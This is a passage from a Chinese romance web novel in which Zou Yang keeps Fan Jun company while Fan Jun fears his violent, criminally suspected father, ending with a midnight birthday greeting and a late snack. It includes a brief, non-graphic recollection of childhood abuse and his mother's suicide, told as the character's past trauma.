所以肉切得很慢,总有一种下一刀会切到自己手上的错觉。 邹飏就在门口坐着,专注地在手机上搜索着看上去跟什么杀人抢劫之类有关系的各种新闻报道和小道消息。 估计不是太好搜,没有具体的时间,没有具体的地点,这个“刑事案件”虽然他俩都猜测是杀人,但也并不确定到底是不是杀人。 范围太大了。 然而,比起“樊刚究竟做了什么”这个宽泛的范围,“从今天起樊刚随时有可能出现在他面前”的恐惧,就要精准得多了。 樊均切好肉,又拿了颗大白菜慢慢切着。 那边邹飏把手机往旁边的厨柜台面上一扔,轻轻地呼出了一口气。 “怎么了?”樊均问了一句,没有回头。 他并不希望邹飏找到什么具体案子,无论是不是樊刚做的。 那些恶性案件但凡能跟实际的人联系起来,对人的影响就不再是一个普通的社会新闻那么简单了,会有更强的杀伤力。 这一点他自己太清楚。 “算是没找到吧,”邹飏摘掉眼镜,也往台面上一扔,“这种还在侦破阶段的案子,也不太可能有什么公开的信息,别的那些新闻之类的也没有……都不知道他具体是什么时候犯的事。” “嗯,”樊均点点头,“你喝水吗?冰箱里有。” “我想喝苏打水,”邹飏转着轮椅,“有吗?” “没有,”樊均说,“想喝我给你做。” “白开水加小苏打么,”邹飏啧了一声,“不要,我做过,刘文瑞跟我十几年发小情都喝不下去。” “试试我的。”樊均放下手里的活儿,走到冰箱前。 把轮椅带邹飏和大黑一块儿转到一边,从冰箱里拿了冰纯净水和一个柠檬回了厨房。 “真做啊?”邹飏也懒得用轮椅了,把大黑扔回它自己的垫子上,单腿蹦到厨房看着。 “嗯,很快。”樊均飞快地拧开瓶盖,用克秤称了不知道多少小苏打倒进了瓶子里,然后开始切柠檬。 “不好喝不给钱啊。”邹飏说。 “不好喝送一节吕老板的课给你。”樊均说。 邹飏顿了顿笑了起来:“吕老板最近是不是没怎么针对你了?” “得忙完这阵儿了,最近我们就跟倒闭了一样。”樊均从厨柜里拿了个很漂亮的大肚玻璃杯出来。 接着又往一个小碟子里倒了点儿盐,再用一片柠檬往杯口抹了一圈,把杯口往碟子上一扣。 “你……”邹飏有些震惊地看着他,“不会还在酒吧打过工吧?” “看来是经常去酒吧的人啊。”樊均笑了笑,把柠檬一片片地码进了杯子里,杯子还是空的,但看上去已经很漂亮了。 接着是苏打水和冰块,最后看到他拿出吧勺和量酒器倒蜂蜜时,邹飏忍不住吹了声口哨。 很快,杯口抹了盐还插着柠檬片的蜂蜜柠檬苏打水放在了邹飏手里。 一杯用小苏打泡出来的苏打水,硬是让樊均做出了二十块往上的效果。 要不是用的还是外卖送的那种黑色吸管,还能再贵点儿。 邹飏先把蜂蜜柠檬苏打水放到橱柜台面上,准备拍照的时候大黑跳了上去,低头背着耳朵认真地闻着。 他直接给猫和柠檬水拍了个合影,然后指挥樊均:“厨房灯关一下,手机借我用用。” 樊均把自己的手机拿给他,关掉了厨房的灯。 邹飏把樊均手机的电筒打开放到台面上,再把柠檬水放到电筒亮着的光上。 光从下方穿透杯子,剔透的苏打水里,蜂蜜丝丝淡琥珀色缓缓转动着。 “好看,”邹飏咔咔连着拍了几张,“可以了。” “拍个照片这么费劲。”樊均打开了厨房的灯,继续做菜。 “要对得起你的手艺,”邹飏修了一下图,先把照片扔到了宿舍群里,“你还没回答我呢,你是不是在酒吧里干过啊?” “嗯。”樊均点了点头,“时间不长。” “我以为你一直在武馆呢?”邹飏看着他。 “是一直在,”樊均说,“酒吧是兼职,就晚上去。” “调酒师吗?”邹飏问。 樊均回头看了他一眼,笑了笑:“不是,保安。” “我靠?”邹飏有些震惊,“看场子啊?” “文明点儿,保安,”樊均又拿出块豆腐切着,“那家老板是大头鱼的朋友,新开业的时候总有人闹事……” “那还是看场子啊。”邹飏说。 “……行吧,”樊均笑着点了点头,“看场子。” “你还干过这么……酷的活儿呢?”邹飏有些感慨地看着他,“用动手吗?” “不太……动得起来。”樊均说。 邹飏想了想,笑了起来:“轮不到对面的动手吧。” “一巴掌扇疼了酒就醒了。”樊均说。 “靠。”邹飏靠在门边,把石膏腿架在轮椅上,边喝苏打水边想象了一下。 手机响了一声,接着又是好几声。 邹飏拿过手机扫了一眼。 先是老妈发过来的一条,问情况怎么样。 邹飏直接回的语音:“没事儿,正准备吃饭了。” 然后是宿舍那帮人,看完照片之后在群里闹。 刘文瑞还给他发的私聊。 【瑞思拜】怎么还喝上了也不叫我们 【邹yang】樊均做的 【瑞思拜】他情况怎么样? 【邹yang】还行 【瑞思拜】我靠那是他做的? 【瑞思拜】他还会调酒? 【瑞思拜】他看着也不像会调酒的人啊 【瑞思拜】这么牛吗? 【瑞思拜】还回来吗下午打球 那边樊均已经拿了个锅,开始把食材往里放了。 “要帮忙吗?”邹飏一边问一边给刘文瑞回着消息。 【邹yang】晚点跟你说 “行。”樊均点点头,让到一边。 “我干点儿什么?”邹飏单腿蹦到灶台边。 “把这个锅放到灶上。”樊均说。 邹飏把锅端到了灶台上,打着了火,然后转头看着樊均,等着他下一步的指令。 “好了,”樊均说,“去客厅等吧,得煮一会儿。” “……这就完了啊?”邹飏说。 “嗯,”樊均把锅盖盖上,“就差这一步了。” “行吧。”邹飏蹦回了客厅,这顿饭他也算出了一点儿力了。 “一会儿就在餐桌上吃吧?”樊均看了看他的腿。 “我喜欢你那个小桌子。”邹飏说着跳到了沙发前,他很喜欢窝在地毯上靠着沙发。 樊均犹豫了一下,过来抓住他的胳膊,扶着他慢慢坐到了地毯上。 下一秒大黑就跑了过来,跳到了石膏上,感觉这小玩意儿早就想踩上去试试爪感了。 樊均把小桌子架好,拿了瓶咖啡,在他旁边也坐下了。 “还喝咖啡啊?一会儿吃完饭不休息一下?”邹飏喝了口苏打水。 说实话,这个苏打水做得相当牛逼,喝着跟瓶装的那些没什么区别,还因为加了蜂蜜和柠檬而更好喝一些。 “没事儿。”樊均说。 “你这几天都没好好睡觉吧?”邹飏问。 樊均犹豫了一下才应了一声:“嗯,不太睡得着。” “你这两天……”邹飏看了一眼还拉得严严实实的窗帘,“一直就……那样吗?” “哪样?”樊均转头看着他,“严阵以待吗?” “嗯。”邹飏点头,甩棍就在沙发上放着,看着就让人心惊。 “也没有,”樊均一下下捏着瓶子,“就是……听到声音就去看看。” “你这儿是顶楼,你要说门口有人去门边看看也就算了,”邹飏说,“你跑窗口……那个耳朵还能听到楼下的声音了?别自己吓自己。” “你……”樊均笑了,手指撑着额角看着他,“这嘴是真烦人啊。” 邹飏这才反应过来,有些不好意思:“我就是反应太快。” “五楼有个平台,”樊均说,“我从那儿爬上来用不了一分钟。” “是么?”邹飏愣了愣,接着就撑着沙发想站起来,“我看看。” 樊均起身把他拽了起来,再把他半拎半架地带到了窗边。 邹飏掀开窗帘一角,往外看了看,顿时有些无语,都不知道该怎么安慰樊均了。 窗台下面,五楼的位置还真是个平台,另一栋楼的楼顶。 上面各种花盆泡沫箱里种着不知名的花草和菜,横七竖八拉着的各款晾衣绳上还晾着不少衣服床单…… “其实我知道他真想找到我没那么容易,”樊均在他耳后低声说,“但也……不是完全没有可能。” “你要这么想,”邹飏看着外面的平台,“说不定他早就不记得那句话了,就算记得……也未必十几年之后还要实施。” “他是个很享受别人恐惧的人,”樊均声音还是很低,带着细微的颤抖,“他说我和我妈……” 说到一半他停下了,没了声音。 邹飏偏过头,樊均站在他身后,他看不到樊均的脸,只能在余光里感觉到。 他不知道樊均要说什么,也不知道自己该不该开口追问一句让他说下去。 只能沉默地等着。 “他说我俩之中总得死一个,”樊均再开口的时候声音突然哑了,“我妈……死的时候……他在打我,他走了之后,我去屋里找我妈妈,她就……挂在那里了……” 邹飏听得身上的一阵发寒,转过身看着樊均。 但樊均没有什么表情,看上去很平静:“他可能不知道我妈已经死了,如果他觉得自己逃不掉了,就会来找我们,找不到我妈……” “樊均,”邹飏迅速打断了他的话,“就算是这样……” 樊均沉默地看着他。 “你不是当年你了,你不是孤身一人,你现在有吕叔一家,有大头鱼老四,有朋友,有同事,”邹飏顿了顿,“还有我呢。” 樊均没有说话,窗帘一角透进来的光隐隐照亮了他的侧脸,能看到他唇上的伤疤,但看不清他的表情。 沉默了很久之后,樊均声音很低地“嗯”了一声。 邹飏听得出来,这些话对于有着那样经历的樊均来说,作用不大,但他也不知道还能怎么做了。 这一瞬间的心情复杂到他想“念诗”都没找到对应的句子。 他轻轻叹了一口气,抬起了手,指尖在樊均脸侧停顿了两秒,然后轻轻下落,碰了碰樊均唇上的疤。 这是一道稍稍有些凹陷的,边缘不整齐的疤,轻轻滑过时有清晰的感觉,从指尖顺着掌心到手腕,再一点点顺着手臂向上,直到跟呼吸和心跳接上…… 邹飏的指尖缓缓轻移,划过嘴角,接着是温热的皮肤,再向颈侧,指关节碰到樊均有些冰凉的耳垂时,他开始能感觉到呼吸。 他的,樊均的,交错着从脸上扫过。 他看向樊均的唇。 下一秒…… “邹飏。”樊均微微往后仰了仰头。 邹飏没有回答。 但瞬间就从恍惚里被拉了回来。 心跳,呼吸,抬起的手,一阵错了节拍的混乱。 “我去看看……”樊均退后了一步,转身往厨房走了过去,“菜炖好了没有。” “嗯。”邹飏应了一声,站在原地没动。 过了一会儿他才发现自己打着石膏的左腿已经站在了地上,并且似乎正在受力。 “我靠!”他吓了一跳,抬腿的同时整个人往后靠在了窗户上。 已经走进厨房的樊均几步就蹿了过来,拽着胳膊就把拉离了窗边:“怎么了?” “哎哎哎……”邹飏勾着腿,这速度,他感觉自己完全就是被樊均拖开的,左脚不受控制地老想往地上蹬一下保持平稳。 “你是不是用俩腿站着了?”樊均反应过来了,低头看着他的腿。 “……嗯。”邹飏也低头看着自己的腿。 为什么要用俩腿一块儿站着呢? 因为…… 感觉开口就必然是这样的对话,所以他俩都没有再说话。 过了一会儿邹飏说了一句:“没事儿,没受力,也养了十天了,这一下不会受伤。” “你坐着吧。”樊均说。 “嗯。”邹飏抓着他手腕,坐回了地毯上,拿过苏打水喝了一大口。 神清气爽。 樊均回了厨房。 听着没有任何动静。 邹飏从之前他备的菜能看得出来,他做的是一锅炖菜,除了等,没什么需要做的。 所以这会儿他应该单纯就是在厨房里杵着。 邹飏突然有些发慌,手指在玻璃杯上轻轻敲着。 整个人都是蒙的。 正琢磨着,樊均突然从厨房里出来了。 他在玻璃杯上敲着的手顿时莫名其妙地忙碌起来,在桌上来回摸。 “给,”樊均伸手,递过来的是他的眼镜,“珊姐说你就三百多度,怎么没了眼镜这么严重?” 邹飏接过眼镜,低头戴上:“偶尔也瞎。” 樊均没说话。 邹飏抬头看了他一眼。 “邹飏,”樊均犹豫了一下,在他对面坐了下来,“我……” “嗯?”邹飏看着他。 “我从来没有这样跟人说过我的事,吕叔和丽婶都没有。”樊均说。 “嗯。”邹飏应着。 “你是唯一一个,”樊均说得很慢,也很认真,“我一直很害怕提起这些事……” “有时候,说出来才会舒服些,”邹飏说,“憋在心里是很痛苦的事。” “嗯。”樊均点点头。 但是。 应该有个转折。 但是。 邹飏等着这个转折。 但是没有。 樊均说完起身又回厨房去了。 第43章 厨房里还是很热闹的,嗡嗡响着的烟机,灶台上咕嘟着的炖菜,锅里不断冒出又被向上抽走的白色蒸汽。 樊均在灶台前站了一小会儿,打开锅盖准备看一眼锅里的菜们都什么情况了。 锅盖拿起来还没看清里头,手指就被通体铸铁的锅盖烫得差点儿想骂人。 为了不吓着还在客厅里发呆的邹飏,他迅速把锅盖扔到了旁边的擦手布上,又飞快地把手放到了之前没用完的冰块里。 大概还得炖个十分钟的,豆腐还差点儿火候。 他拿了防烫手套,把锅盖又盖了回去。 手撑着案台,看着窗外出神。 正午稍过的时间,太阳变得有些直白。 四周很静,窗外也很静。 静并不是他听到的,是他感觉到的。 静得他似乎能听到刚才邹飏扑到他脸上的呼吸。 不知道盯着窗外看了多长时间,樊均再次打开锅盖看了看。 应该可以了,他关掉了火。 正准备把这锅炖菜拿出去,厨房门被邹飏推开了:“哎。” “嗯?”樊均回过头,发现邹飏居然再次双脚着地靠在门边,他皱了皱眉,“你腿还要吗?” “要不要都行,”邹飏把左腿又抬了起来,低头思考了两秒,“我是想说,刚才,对不……” “不用,”樊均迅速打断了他的话,“没事儿,不用。” 邹飏愣了愣,犹豫了一下再次开口:“我是怕吓着……” “不会。”樊均再次打断了他的话。 邹飏沉默了。 “我明天二十四了小孩儿,”樊均说,“不会被吓着。” “……嗯。”邹飏应了一声。 “去等着吧,”樊均说,“马上好了。” 邹飏转身回了客厅。 樊均撑着台面轻轻呼出一口气。 “大黑黑,”邹飏靠坐在沙发前,冲大黑招了招手,“过来,哥哥抱抱。” 大黑打了个呵欠,爪子在沙发上抓了两下,并没有理会。 邹飏啧了一声,拿出了手机。 刚手机响了一声,他脑子里一片混乱,也没看是谁。 哦是刘文瑞。 那不看也没事。 刘文瑞发过来的是一张球场照片,还两天放假了,球场上已经空无一人。 给樊均过完生日,李知越和张传龙也差不多该回家了。 邹飏把自己左腿抬起来拍了张照片,发给了刘文瑞。 【瑞思拜】你来记分,顺便帮捡球 【邹yang】滚 【瑞思拜】听这意思,就是不来了呗 【瑞思拜】那你晚上还回吗 邹飏看着这条消息,莫名其妙突然有些心虚。 迅速地熄掉屏幕,把手机扔到了沙发上。 拿起杯子,仰头把最后一口柠檬水喝掉了。 打开门看到黑暗里拿着甩棍站在窗边的樊均时,邹飏的第一反就是今天不回去了,他不懂这些,只是凭直觉,樊均那样的状态得打断才行。 但是…… 现在事情已经变了。 瑞思拜不问他都还没开始琢磨这事儿,一问他突然就开始有些茫然了。 怎么办? 手机又响了一声。 虽然邹飏并不想看,但这时樊均端着锅出来了,他立马又回手一把抓过了手机。 一边点开一边问了一句:“能吃了?” “嗯,”樊均把锅放到小桌上,“这个锅非常烫,你不要动,就坐那儿。” “哦。”邹飏应了一声。 【瑞思拜】不对劲 邹飏心里抖了一下。 【瑞思拜】邹羊你不对劲 靠。 邹飏感觉自己莫名其妙冷汗都快下来了。 樊均又回厨房,拿了碗筷出来,然后打开了锅盖。 客厅里一直都能闻到炖菜的香味,但盖子打开的同时,邹飏还是忍不住深吸了一口气:“好香。” “主食就粉条了啊,”樊均在他旁边坐下了,“尝尝咸淡合适吗?” “嗯。”邹飏飞快地盛了一碗,不知道为什么,就正常的吃饭的时间,感觉比平时都饿。 低头吃了一口,很烫,他停下吹了吹。 感觉樊均正看着他,似乎是在等他对菜的评价,不过他没抬头。 连筷子带嘴地一通忙活,他终于吃到了一块儿肉和几片菜叶子,这要是老爸在场,就得开骂了,吃得乱七八糟的没规矩。 “合适。”邹飏点点头。 “什么?”樊均问。 “你不是让我尝尝咸淡合不合适吗?”邹飏看着他。 “哦,”樊均愣了愣,“我拿出来之前已经尝过咸淡了。” “那你还问我?”邹飏也愣了,“害我一通忙活。” “那个就是……一个流程,”樊均说,“一般不都这么说么,尝尝咸淡合适吗。” “不是,”邹飏没忍住笑了起来,往沙发上一靠,看着他,“转人工。” 樊均也笑了笑:“003号为您服务。” “这也是你妈妈……”邹飏说到一半突然就有些笑不出来了。 樊均会做的几个菜都是妈妈教给他的,这个流程……大概也是妈妈做菜时会带着的固定“流程”。 “嗯。”樊均点点头。 “她也总这么说,对吗?”邹飏低头吃了一口豆腐,炖得还挺入味儿的。 “是。”樊均应了一声。 邹飏没再说话,两个人沉默地吃着。 太安静了,甚至能听到大黑在沙发上舔毛的声音。 安静得有些难受。 “樊均。”邹飏放下了碗,转头看着他。 樊均没说话,但也放下了碗。 “我是想说……我,”邹飏突然开始结巴,嘴跟被张传龙夺舍了似的,“我今天……” 他不得不停了几秒。 豁出了去吧,还措什么词呢。 “我今天就是担心你,过来看看,”邹飏摘掉了眼镜,有些模糊的视野,在某些情况下就像多了一层护甲,他突然就不磕巴了,“本来并没有别的想法,但是我也不知道怎么了……” “我知道。”樊均说。 “我不想让你觉得我是趁着……”邹飏说。 “邹飏,”樊均笑了笑,“我是在南舟坪长大,不是在真空里长大。” “什么意思。”邹飏看着他,一下没明白他的意思。 “我不是什么都不懂的小孩儿。”樊均说。 邹飏心跳猛地一下加速,嗓子眼儿都差点儿勒不住地要往外蹦。 “我初中高中都在二十一中,”樊均语速平稳,“我不少同学,上学那几年,排列组合,恨不得把这辈子的感情都谈完了,除了不琢磨学习,什么都琢磨,除了课本上的东西,该知道的不该知道的都知道。” 邹飏还是看着他,暂时是真不知道该说什么了。 “所以……”樊均说。 “嗯。”邹飏应了一声。 “吃饭吧。”樊均说。 “嗯。”邹飏重新拿起了碗。 樊均的妈妈教他做炖菜真是很明智,感觉这应该是一道怎么做都会好吃的菜。 邹飏吃得很香,感觉自己鼻尖都有点儿冒汗了。 樊均拿过遥控器,打开了空调。 也许是因为自己的“豁出去了”,也许是因为樊均的那些话,也许是因为饿了。 虽然邹飏脑子里依旧还是很乱,虽然依旧是沉默地吃着,但那种手足无措的尴尬,慢慢消散了不少。 还没什么感觉,一锅炖菜居然被吃光了。 樊均收拾了锅和碗筷去洗。 小桌子被拿走之后,邹飏伸直腿,很舒展地往后仰靠在沙发上,闭上了眼睛。 吃饱了就有点儿犯困,人一犯困就迷糊,一迷糊…… 眼前晃过樊均的唇。 还有从他的呼吸里扫过的樊均的呼吸…… 我不是什么都不懂的小孩儿。 邹飏猛地睁开眼睛。 大黑正站在他头顶的位置,低头在他脸上闻着。 “你瞎闻什么,一边儿去。”邹飏有些无语,兜着它的肚子把它扔到了沙发靠垫上。 樊均回到客厅的时候,邹飏还是闭着眼睛仰靠在沙发上没动。 “要……睡会儿吗?”樊均站在他旁边问了一句。 “不用,”邹飏睁开眼睛,看到低着头的樊均时,又赶紧把眼睛闭上了,“我觉得你应该睡一会儿。” “嗯。”樊均应了一声。 “那你去睡吧。”邹飏说。 “我在……沙发上睡。”樊均说得有些犹豫。 “嗯?”邹飏愣了愣,睁开眼睛坐直了,回头看了看沙发,“为什么不回屋里睡?” 樊均沉默了一会儿才轻声说:“不踏实。” “那你睡沙发。”邹飏撑着沙发想站起来。 “你不用动,不影响,”樊均很快地按住他的肩,“你如果想睡……可以去我屋里……” “不用,我没有午睡的习惯。”邹飏说。 樊均没再说话,顿了顿之后走到沙发前坐下了,先是往沙发那头倒了下去,接着又坐了起来,再往沙发这头倒下去,又坐了起来。 “消食儿呢你?”邹飏说。 回头看的时候才明白了樊均为什么在这儿仰卧起坐。 往那头睡,自己就正好在他脚边儿上,大概是觉得不礼貌,但往这头睡,他俩脑袋基本就是挨着了…… 于是他赶紧往沙发中间蹭了蹭:“你睡吧。” 樊均把大黑从沙发上拿下来放在了他腿上:“我……关一下灯?” “嗯。”邹飏点点头。 樊均关掉了客厅的灯,四周先是猛地一阵黑,然后才慢慢浮现出淡淡的轮廓。 坐在沙发上又犹豫了一会儿,樊均往他这边儿躺了下来。 他坐的这个位置差不多在樊均胸口,樊均躺下时,他能清楚地闻到樊均身上那种淡淡的青草香。 刚吃完饭,身上居然不是猪肉白菜炖粉条的味儿。 屋里很静,这回是真切地能听到两人的呼吸,还有大黑踩奶的呼噜声。 “你这个窗帘,”邹飏轻轻挠着大黑后脖梗,“是钢板吗?遮光效果这么好。” “夏天这块儿西晒,”樊均声音从他左耳后绕过来,带着些许没休息好的沙哑,“不用这样的窗帘,屋里扛不住。” “哦。”邹飏应着。 “我一会儿如果睡着了,可能会……”樊均说,“睡很久,你如果……” “不用管我,你睡你的。”邹飏说。 “嗯。”樊均笑了笑。 “为什么在床上会睡不踏实呢?”邹飏问。 “太正式了。”樊均说。 邹飏很轻地叹了一口气,没再继续问下去。 黑暗中,樊均身上隐约的青草香一直能闻到,邹飏实在没忍住:“哎。” “嗯。”樊均应着。 “你用香水吗?”邹飏问。 “……不用。”樊均说。 “那是洗衣液的香味吗?”邹飏问,“草香味儿。” “我洗衣液是无香型。”樊均说。 “那这是什么香?”邹飏有些好奇了。 “那只能是我的体香了。”樊均说。 邹飏愣了两秒,没忍住笑出了声音:“靠。” 黑暗中,气氛不再那么别扭,邹飏也放松了很多。 樊均还看着天花板上出神的时候,就听到他的呼吸慢慢放缓了,接着头也慢慢往后,枕在了他放在身侧的胳膊上。 这个声称不困并且没有午睡习惯的人,从沉默到入睡,只用了不到十分钟。 樊均侧过头,窗帘缝隐隐透进来的微光,在黑暗里勾出了邹飏带着淡淡光晕的侧脸。 看着宁静而踏实。 他闭上了眼睛,几天都没睡踏实过,得好好睡一觉。 明天还要过生日,他不想状态不好,让邹飏和几个为他一块儿过生日的舍友失望。 ……他又睁着开了眼睛。 看着邹飏,有些出神。 但还是看着。 一直到视线模糊。 “樊均。” “喂,樊均。” 是邹飏的声音,很轻,很远。 樊均有些吃力地辨认着方向。 “均儿?” “嗯?”他应了一声,自己的声音也有些远。 邹飏看了一眼手机上的时间,十一点五十八分。 樊均睡得很实,迷糊地应了一声之后眼睛半天都没睁开。 他开始有点儿后悔这会儿把樊均叫醒了。 “邹飏?”樊均迷糊地叫了他一声。 “嗯,”邹飏点了点头,算了,叫都叫了,就叫到底吧,他在樊均脸上轻轻拍了两下,“醒了没?” “醒了。”樊均声音有些沙哑,看着他愣了半天像是没回过神。 “等等。”邹飏晃了晃自己的手机,“还有四十秒。” “什么?”樊均问。 邹飏没出声,只是盯着手机。 57,58,59…… “生日快乐。”邹飏说,“樊均,二十四岁生日快乐。” 樊均愣住了,看着他没有说话。 邹飏又点了一下手机屏幕,屏幕先是一黑,接着突然炸出了一片焰火,紧跟着是一朵接一朵的焰火…… 樊均一直没有说话,就那么愣着,专注地看着手机屏幕。 “这个……”邹飏也看了一眼屏幕,这段烟花一共就三十秒,樊均已经看了两遍了,“你是又睡着了吗?” “没,”樊均的视线离开了手机,看着他笑了笑,“我只是……太震惊了。” “这么好骗,”邹飏说,“还说什么不是什么都不懂的小孩儿。” 樊均笑了笑,坐了起来:“我是没想到……你还掐着点儿……” “生日嘛,”邹飏转了转手机,“我是第一个吧?” “嗯。”樊均点点头,又站起身,往屋里走过去,顺手打开了墙边的一盏夜灯。 从屋里出来的时候他手里拿着那天装手串的盒子。 “这个,可以戴上了。”他走到邹飏面前,打开了盒子,从里头拿了手串,戴在了手腕上。 “挺好看。”邹飏挑了挑眉。 “嗯。”他点点头。 两人一块儿看着他手腕上的手串,都没有再说话。 沉默了一会儿,樊均突然转身往浴室走了过去:“你……等我一会儿。” “尿急啊?”邹飏问。 樊均没说话,走进浴室关上了门。 接着邹飏就听到了水声。 第44章 洗脸池的水龙头和浴室的花洒都被樊均打开了,都开到了最大。 站在洗脸池面前,他盯着镜子里的自己看了一会儿,转身又拿了个桶放到花洒下,把水调到了水柱模式。 高处落下的水砸进水桶里,发出了更大的声响。 他回到洗脸池边,弯腰洗了洗脸,重新抬起头看向镜子。 眼眶有一点儿发红,眼睛里能看到血丝。 没有眼泪。 哪怕是沉在眼前这样复杂的情绪里,他依旧是哭不出来。 这么多年来都是这样。 无论经历了什么样的情绪,是愤怒,恐惧,伤心,还是高兴,激动,感动…… 所有的情绪永远就那么堵在胸口,无法宣泄。 最终都只会变成一声带着委屈的怒吼。 他缓缓地蹲下,拿过浴巾捂在脸上,狠狠把头埋到胳膊里。 “啊——” 他听不清。 不知道自己究竟能吼多大声,也不知道要多大的水声才能掩盖住他这份无奈和憋屈。 他不介意让邹飏看到他哭,他希望邹飏知道自己的感谢和感动。 但不愿意让邹飏发现他所有的情绪最后都会因为这份无奈和憋屈而转化成一声单调的音节。 邹飏还在站在客厅里,看着浴室方向。 除了哗啦啦的水声,听不到什么别的动静。 等了一会儿,他往浴室那边走了两步,犹豫了几秒,又还是转身回到沙发前坐下了。 大黑精神抖擞地跳了过来,在他伸手想要摸摸它的时候,大黑一个灵活跳跃,蹦到了沙发靠背上,疯狂地来回蹿了两趟,最后蹬着他脑袋飞驰而去。 “神经病吧?”他无语了。 都说养宠随主人,樊均这样的性格怎么养个猫能养成这样? 他又看了一眼浴室那边,水声依旧。 没想到一个卡点生日祝福会让樊均反应这么大。 他轻轻叹了一口气。 几乎没有正式庆祝过自己生日的人。 邹飏拿着手机转了两下。 屏幕被他转亮了,信息栏里提示有微信消息还没看,应该是刘文瑞的,刚才他俩聊到一半…… 邹飏把手机又扔回了小桌上。 【瑞思拜】负心玩意,真不回来睡觉了啊 【邹yang】嗯 【邹yang】明天上午你们去取了蛋糕直接过来 【瑞思拜】你俩到底干什么呢?你俩肯定有事 【瑞思拜】说话,别装死 【瑞思拜】不说话绝交 【瑞思拜】绝交了 【瑞思拜】嗨,认识你很高兴 【邹yang】我可能真有点事 【瑞思拜】怎么了?说出来,我帮不了你起码也能听个八卦 【邹yang】你还记得你初中的时候说过我什么吗 【瑞思拜】?说过你什么 【瑞思拜】我是什么搜索引擎吗????? 【瑞思拜】行吧,关键词总得给一个吧 【邹yang】早恋班会课 【瑞思拜】?什么鬼 【瑞思拜】我操,我想起来了 聊到这儿的时候时间距离12点还有二十分钟,但邹飏已经没有勇气再看刘文瑞的回复了,退出了聊天框,静静地等着樊均的生日到来。 一直到现在,刘文瑞后面发过来的起码七八条消息他都还没有看。 刘文瑞虽然平时看着不靠谱,但其实人挺聪明的,要不他俩也不可能十几年朋友,邹飏知道他肯定能猜到点儿什么。 后面的消息他不敢再打开。 怕瑞思拜猜到了,也怕瑞思拜猜不到。 浴室里的水声终于消失了,屋里变得非常安静。 邹飏站了起来。 浴室门打开,樊均走了出来,看到他愣了愣:“你一直就站在这儿吗?” “……没,”邹飏低头看了一眼自己的腿,确定自己没有两足站立,“我听到……我估计……我刚站起来的。” “我没事儿。”樊均走了过来,把客厅的灯打开了。 屋里的一切都变得清晰起来,邹飏也看清了樊均的脸,发稍是湿的,脸上很清爽,眼框不红,眼睛也没肿…… 他以为樊均是去哭了,但似乎并没有。 要不就是他哭起来也这么精致……也不是没有这种可能,毕竟人家还有体香呢…… “饿吗?”樊均摸了摸自己的肚子。 “问谁呢?”邹飏看着他。 “问你和我的肚子。”樊均说。 邹飏笑了起来,也摸了摸自己的肚子:“非常饿,中午那顿一直挺到现在……” “忘了跟你说那个小柜子里有零食了,”樊均走到窗边,掀起窗帘往外看了看,“去……吃点儿东西吧。” 邹飏愣了愣:“出去吃……吗?” “嗯。”樊均看着窗外坚定地点了点头。 凌晨十二点半,南舟坪一片死寂,居民区那些楼里的灯没几盏亮着的了,路灯也都一副要睡着了的样子。 坐在轮椅上被樊均推出楼道的时候,一阵带着些许凉意的夜风扫过,邹飏很舒服地伸了个懒腰。 “你困吗?”樊均低头问了他一句。 “不困,我睡到差不多六点,饿醒一次,”邹飏很舒服地靠着轮椅打了个呵欠,“然后八点多又睡着了……” “饿醒的时候,”樊均叹了口气,“为什么不出去吃点儿东西?回学校也……” 大概是想到了邹飏明摆着没回学校的打算,他话没说完。 “跟刘文瑞聊呢……”邹飏说一半又想起了他和刘文瑞的聊天内容以及手机里还没看的那几条消息,心跳变速了几秒,后面想再说句什么瞬间就忘了。 这个点要在别的地方,吃东西不难,但萧条的南舟坪跟别的地方有代沟,得到酒吧街和交个朋友桌球厅那边才有吃的。 樊均推着他走了没几分钟,邹飏突然想起什么,抬头看了一眼,发现樊均出门没戴帽子。 “你没戴帽子吗?”邹飏问。 “嗯,不戴了。”樊均说。 樊均一般都是在没什么陌生人的地方才会摘掉帽子,平时武馆里睡个觉都还要用帽子遮脸呢,这会儿虽然是晚上,但酒吧街那边晚上也算是鱼龙混杂,而且路灯还不瞌睡,不戴了? “为什么?”邹飏还是没忍住不多问。 “压我发型。”樊均说。 “放屁吧你那个头发的长度,压不压都那样。”邹飏想也没想。 樊均抓了抓头发,笑了起来。 邹飏没再说话,他感觉差不多能猜到为什么。 樊均过了一会儿才低头放轻声音说了一句:“如果他真找来了,我希望他能……一眼认出我,直接找到我。” 邹飏握在轮椅扶手上的手猛地收了一下,这跟他猜的不一样。 一眼认出我,直接找到我。 “樊均。”他仰起头看着樊均。 “嗯?”樊均应了一声。 他伤害不了任何人,他先找到谁都不怕…… 这样的说法没有任何力度,毕竟樊刚是涉嫌严重刑事案件的人,是个残暴的亡命徒。 邹飏开口之后才发现找不到合适的话来安慰樊均。 这种情况下,十秒内没有能驳倒他的理由,也就不用再开口了,太生硬。 于是他没再说话。 “谢谢。”樊均伸手在他脑袋上轻轻扒拉了两下。 “客气了。”邹飏叹了口气。 酒吧街还是有些行人的,偶尔还能看到几个奇形怪状的醉汉。 当然,一个坐着轮椅还要让人推着上这儿来的人,也没有多不奇怪。 “你想吃大餐还是随便一点儿?”樊均问。 “明天有大餐呢,随便垫点儿就行,”邹飏说,“我怕吕冠军跑完新场地回头一看,他的金牌教练增重十斤,他要找我麻烦。” “嗯,”樊均笑着说,“那去前面那家海鲜炒饭,挺好吃的。” “行。”邹飏点头。 这家小吃店人还不少,樊均把他安顿在门口的一张小桌边,然后进了店里。 说实话,樊均不戴帽子挺帅的,虽然戴帽子也挺帅,但露出整张脸和额头时的樊均,会带着几分说不清是酷还是嚣张还是杀气的气质。 不过看着他就那样走进起码有十几个人或站或坐的店里,从那些人或有意或无意的目光中穿过时,邹飏又有些难受。 他看着樊均的背影,无意识地摸出了手机,低头扫了一眼,想要移开视线的时候,聊天界面上瑞思拜发过来的消息已经尽收眼底。 他大爷的不愧是属于汉语言文学的阅读能力。 是说你没什么喜欢的女生那次吗? 我靠,是我说你没准喜欢男的那句吗 喂!死了啊!是不是啊! 操,真的假的啊!回话,不回话我打电话过去了啊! 邹羊你就是这样对我的!你记着! 我操,不会吧?樊均? 是我理解的意思吗? 狗!邹狗!你还让不让我睡觉了!今天晚上我怎么睡得着啊! 行 行行行 你俩睡去吧 邹飏把手机塞回兜里的时候手都有点儿发抖。 樊均过来坐到他旁边的时候盯了他一眼:“怎么了?” “没。”邹飏摇头。 “不舒服?”樊均问。 “我看起来不舒服吗?”邹飏看着他。 “……嗯,”樊均又盯着他认真看了看,点了点头,“嗯。” “就是饿了,”邹飏笑笑,“我一饿就发慌。” 